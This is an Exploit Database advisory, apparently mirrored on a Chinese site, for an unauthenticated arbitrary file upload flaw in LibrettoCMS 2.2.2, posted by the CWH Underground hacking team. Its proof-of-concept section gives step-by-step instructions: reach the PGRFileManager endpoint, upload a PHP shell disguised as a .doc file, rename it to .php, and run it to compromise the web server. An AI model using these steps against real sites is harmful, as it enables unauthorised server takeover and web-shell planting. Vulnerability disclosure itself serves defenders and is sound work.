LibrettoCMS 2.2.2 – Arbitrary File Upload

• Exploit Database
• 48 阅读

• 作者： CWH Underground
  日期： 2013-06-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/26213/

• # Exploit Title : LibrettoCMS 2.2.2 Malicious File Upload
  # Date: 14 June 2013
  # Exploit Author: CWH Underground
  # Site: www.2600.in.th
  # Vendor Homepage : http://libretto.artwebonline.com/
  # Software Link : http://jaist.dl.sourceforge.net/project/librettocms/librettoCMS_v.2.2.2.zip
  # Version : 2.2.2
  # Tested on : Window and Linux
   
  ,--^----------,--------,-----,-------^--,
  | ||||||||| `--------' |O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
  `\_,-------, _________________________|
  / XXXXXX /`| /
   / XXXXXX /`\ /
  / XXXXXX /\______(
   / XXXXXX / 
  / XXXXXX /
   (________( 
  `------'
   
   
  #####################################################
  DESCRIPTION
  #####################################################
   
  LibrettoCMS is provided a file upload function to unauthenticated users. Allows for write/read/edit/delete download arbitrary file uploaded , which results attacker might arbitrary write/read/edit/delete files and folders.
  
  LibrettoCMS use pgrfilemanager and restrict file type for upload only doc and pdf but able to rename filetype after uploaded lead attacker to rename *.doc to *.php and arbitrary execute PHP shell on webserver.
   
  #####################################################
  EXPLOIT POC
  #####################################################
   
  1. Access http://target/librettoCMS/adm/ui/js/ckeditor/plugins/pgrfilemanager/PGRFileManager.php 
  2. Upload PHP Shell with *.doc format (shell.doc) to PGRFileManager
  3. Rename file from shell.doc to shell.php
  4. Your renamed file will disappear !!
  5. For access shell, http://target/librettoCMS/userfiles/shell.php
  6. Server Compromised !!
   
  ################################################################################################################
   Greetz: ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
  ################################################################################################################